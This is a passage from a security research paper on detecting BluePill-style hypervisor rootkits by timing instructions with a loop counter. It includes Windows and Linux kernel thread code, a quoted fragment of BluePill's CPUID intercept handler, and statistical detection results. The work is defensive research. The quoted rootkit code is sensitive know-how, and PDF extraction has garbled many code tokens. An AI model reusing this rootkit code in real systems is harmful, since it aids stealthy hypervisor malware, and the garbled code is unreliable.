goto t imep i l l k th r e ad cpu0 ou t ;

down(&sem ) ;
up(&sem2 ) ;

down(&semcount ) ;
counter = atomic read(&stop counte r ) ;
up(&semcount ) ;

while ( counter == 0)
{

atomic inc (&cc ) ;

down(&semcount ) ;
counter = atomic read(&stop counte r ) ;
up(&semcount ) ;

}

p = (unsigned long ∗) kct−>titmap ;
∗p = atomic read(&cc ) ;

kct−>thread = NULL;
t imep i l l k th r e ad cpu0 ou t :
up(&thread0 ) ;

}

stat ic void t imep i l l k th r ead cpu1 no l oop (void ∗data )
{

k t imep i l l c o un t e r t ∗kct = ( k t imep i l l c o un t e r t ∗) data ;

i f ( kct == NULL)
goto t imep i l l k th r e ad cpu1 no l oop ou t ;

down(&semcount ) ;
a tomic s e t (&stop counter , 0 ) ;
up(&semcount ) ;

up(&sem ) ;
down(&sem2 ) ;

kct−>i n s t ( ) ;

down(&semcount ) ;
a tomic s e t (&stop counter , 1 ) ;
up(&semcount ) ;

kct−>thread = NULL;
t imep i l l k th r e ad cpu1 no l oop ou t :
up(&thread1 ) ;

}

Version of Windows Vista On windows, the call of the function PsCreateSystemThread creates
a kernel thread, and the function KeSetSystemAffinityThread chooses the processor.



This driver (because we are in kernelland) gets results of the number of loop and to send it
to the main program by an ioctl.

Example As the Linux version, two threads (function thread counter and thread inst) get the
counter and call the instruction, with the structure timepill kern t which has the field map to
store values, and the field inst to the instruction.

stat ic VOID NTAPI thread counte r (PVOID Param)
{

int s top counte r ;
ULONG cc ;
unsigned long ∗p ;
t im e p i l l k e r n t ∗ tkt ;

tkt = ( t im e p i l l k e r n t ∗)Param ;
cc = 0 ;

KeSetSystemAff inityThread ( (KAFFINITY)0 x00000001 ) ;

KeSetEvent ( tkt−>myevent ,
0 ,
FALSE) ;

KeWaitForSingleObject(&mut ,
Executive ,
KernelMode ,
FALSE,
NULL) ;

s top counte r = tkt−>counter ;
KeReleaseMutex(&mut , FALSE) ;

while ( s top counte r == 0)
{

cc++;
KeWaitForSingleObject(&mut ,

Executive ,
KernelMode ,
FALSE,
NULL) ;

s top counte r = tkt−>counter ;
KeReleaseMutex(&mut , FALSE) ;

}

p = (unsigned long ∗) tkt−>map ;
∗p = cc ;

PsTerminateSystemThread (STATUS SUCCESS) ;
}

stat ic VOID NTAPI th r e ad i n s t (PVOID Param)
{

int i ;
ULONG eax , ebx , ecx , edx ;
t im e p i l l k e r n t ∗ tkt ;

tkt = ( t im e p i l l k e r n t ∗)Param ;
KeSetSystemAff inityThread ( (KAFFINITY)0 x00000002 ) ;

while (STATUS TIMEOUT == KeWaitForSingleObject ( tkt−>myevent ,
Executive ,
KernelMode ,
FALSE,
NULL) ) ;

tkt−>i n s t ( ) ;

KeWaitForSingleObject(&mut ,
Executive ,
KernelMode ,
FALSE,



NULL) ;
tkt−>counter = 1 ;
KeReleaseMutex(&mut , FALSE) ;

PsTerminateSystemThread (STATUS SUCCESS) ;
}

5 Experimental results

5.1 Pillbox

To test our methods of detection, we have written a tool called pillbox, two parts are to be
considered :

– the client picks up data (results), and sends to the server. The client is composed of a userland
program which collects measures from the driver (for example, with the counter technique),

– the server receives results from the client and then analyse results.

The client has different methods to pick up results, depending on the privilege level:

In user land

– by the RDTSC instruction,
– by the
– gettimeofday function,
– by an external NTP server,
– by the counter method.

In kernel land

– by the counter method.

For us, we will focus on the counter method in kernel land, because it’s the most efficient
technique, and the most difficult to intercept by a rootkit.

For graphic representation, we used three types of format to more quickly analyze the results
:

– axis of abscissas : the instruction, axis of ordinates : the relative time,
– axis of abscissas : identical relative times, axis of ordinates : the number of identical relative

times,
– axis of abscissas : the relative time, axis of ordinates : the number of measures.

All tests have been done on an AMD 64 processor with virtualization, and with a frequency
of 2 Ghz, and with Windows Vista.

As a first step, we will consider an instruction (CPUID) that BluePill can intercept, and
observed cases with and without the rootkit.

Without BluePill In the first graph (figure 6), we observe that the average revolves around a
relative value of 30 increments loop, to run the instruction. But also peaks are due to commuta-
tions of the system, but do not affect the analysis.

With the second (figure 7) and the last (figure 8), the cpuid instruction has an average of 33
incrementation loop.



Fig. 6. Method : Counter (without BluePill)

Fig. 7. Method : Counter (without BluePill), Picks



Fig. 8. Method : Counter (without BluePill), bar graph

With BluePill Now, if BluePill is present, this one intercepts the cpuid instruction, looks the
state of registers to check a magic value, modity it if presents (we will not use magic values for
our test), and call cpuid instruction:

stat ic BOOLEAN NTAPI SvmDispatchCpuid (
PCPU Cpu ,
PGUEST REGS GuestRegs ,
PNBP TRAP Trap ,
BOOLEAN WillBeAlsoHandledByGuestHv

)
{
[ . . . ]

Vmcb = Cpu−>Svm. OriginalVmcb ;

i f ( (Vmcb−>rax & 0 x f f f f f f f f ) == BP KNOCK EAX)
{

KdPrint ( ( ”Magic knock r e c e i v ed : %p\n” , BP KNOCK EAX) ) ;
Vmcb−>rax = BP KNOCK EAX ANSWER;

}
else
{

[ . . . ]
fn = (ULONG32) Vmcb−>rax ;
GetCpuIdInfo ( fn , &(ULONG32) Vmcb−>rax , &(ULONG32) GuestRegs−>rbx ,

&(ULONG32) GuestRegs−>rcx , &(ULONG32) GuestRegs−>rdx ) ;
}
}

In the first graph (figure 9), the interception of the hypervisor increases the time of the
instruction execution. In addition, other graphics (figures 10 11) check that the average is totally
moved, since it is now 332. With an HVM rootkit with no viral payload, but playing the role of
a hypervisor, we have a time which is ten times higher, which can easily detect the presence (or
absence) of a hypervisor, which is for us an HVM rootkit as said in the previous sections because
the user knows if he uses a hypervisor.

There is always the same behavior with the instructions that BluePill can intercept, and in
particular with vmmcall that any hypervisor must manage.



Fig. 9. Method : Counter (with BluePill)

Fig. 10. Method : Counter (with BluePill), Picks



Fig. 11. Method : Counter (with BluePill), bar graph

5.2 Statistical Modelling of BluePill-like Rootkits

We are now considering the counter value, defined in Section 4.1, as a suitable estimator. Without
loss of generality, that approach remains the same when considering the case of an estimator built
from the NTP technique, which has been exposed in Section 4.1.

In a first step, a large number of experiments (N = 10000) have been performed in order
to collect a statistically significant number of data. On every test sample, we have obtained, we
have computed the mean µ and the corresponding standard deviation σ. Then in a second step,
we have supposed that our estimator was distributed according a Gaussian distribution law. To
verify this on a thorough way, we then performed a goodness-of-fit test (χ2 test) to compare it
to the normal distribution, with an error type I of α = 0.005. Even if the χ2 is not an optimal
test (since it lacks of power and since the choice of the different test classes can be considered
as subjective), it remains however a very efficient and convenient tool that is not to far from the
reality in most cases. Future works will nonetheless consider more powerful tests (e.g. Shapiro-
Wilk test). But without to much risk, we can claim that we should obtain the same result: our
estimator is indeed normally distributed.

5.3 Without BluePill

The different data and test show give the following results for our estimator:

– Statistical mean X̄ = 26, 78,
– Standard deviation s = 13.34,
– Normal distribution N (26; 13).

5.4 Avec BluePill

The different data and test show give the following results for our estimator:

– Statistical mean X̄ = 339, 25,
– Standard deviation s = 38, 26,
– Normal distribution N (339; 38).



5.5 With BluePill and payload

The different data and test show give the following results for our estimator:

– Statistical mean X̄ = 1675, 60,
– Standard deviation s = 77, 91,
– Normal distribution N (1675; 77).

Now our statistical model is theoretically proved, we are going to consider how we can use it on
a practical way to detect HVM-rootkits.

5.6 Statistical Detection

Our previous modelling results clearly demonstrate that our estimator significantly behaves dif-
ferent according to the presence (active) or absence of BluePill. We then are in the classical case
depicted in Figure 12. To efficiently detect BluePill, it just suffice to build a simple hypothe-
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Fig. 12. Statistical Modelling of BluePill Detection

sis test. This approach has been thorughly defined in [43]. The two different hypotheses to be
considered are the following:

– The Null hypothesis H0 : BluePill is not active (absent). Then, our estimator is distibuted
according to the normal distribution N0(26; 13).

– The Alternative hypothesisH1 : BluePill is active. Then, our estimator is distibuted according
to the normal distribution N1(339; 38).



The type I error α (which consists to reject H0 while indeed it H0 is true) and the type II
error (which consists in keeping H0 while it is a wrong hypothesis) are fixed according to the
final detection efficiency we strive to achieve. Those error values then enables to fix a detection
threshold and according to the relative value of our estimator with respect to this threshold, we
can decide whether BluePill is active or not.

From a statistical point of view, this approach can very easily be generalized to the three
hypotheses cases: BluePill is not active, BluePill active with no payload, BluePill active with a
payload.

6 Future Work and Conclusion

The main conclusion of our work is that if no malware is really undetectable in practice [19,43],
the contrary is also true: no antivirus can claim to detect every possible malware. This is in fact
an endless issue. As any researcher in computer security should do, we must have a critical look
on any such issue.

In fact, when considering the case of HVM rootkits, with time and reason, it was possible to
determine the exact level of risk and to efficiently solve this critical issue. Taking profit of the rise
of muti-core processors, the loop counter technique has been proved to be definitively efficient as
detecting HVM-rootkit. In the same time we discovered that any HVM-rootkit is bound to add
a significative execution time when active, and more critically when embedding a true payload.

It is obvioulsy possible to consider alternative time references to detect HVM-rootkits. In
the case of single core processor, the GPU of any graphic card can play the role of the second
core thus extending our approach. But it is also possible to easily prevent attacks with such
rootkits. Security policy could ask for desactivating the virtualization capabilities at the bios
level. Alternatively, we could install a prophylactic hypervisor to bar the subsequent installation
of any malicious hypervisor.

We have shown that designing and writing HVM-rootkits requires a lot of dedicated, complex
skills. The open information (documentation) is fortunately not very widely available. But what
would happen if a BluePill -like code with a true, offensive payload was put in the wild? It is
very likely that it would have a tremendous impact on the security of any virtualization-capable
computer in the world. Indeed, at the present time, quite no efficient solution has been made
available [27] by any AV company and/or processor manufacturers. It makes you wonder . . .
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